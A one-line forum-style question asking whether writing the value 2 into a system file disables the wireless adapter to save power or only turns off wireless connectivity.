So, will disabling wlan this way (putting 2 into that file) disable the wlan adapter to save power, or will this not "disable wireless"?
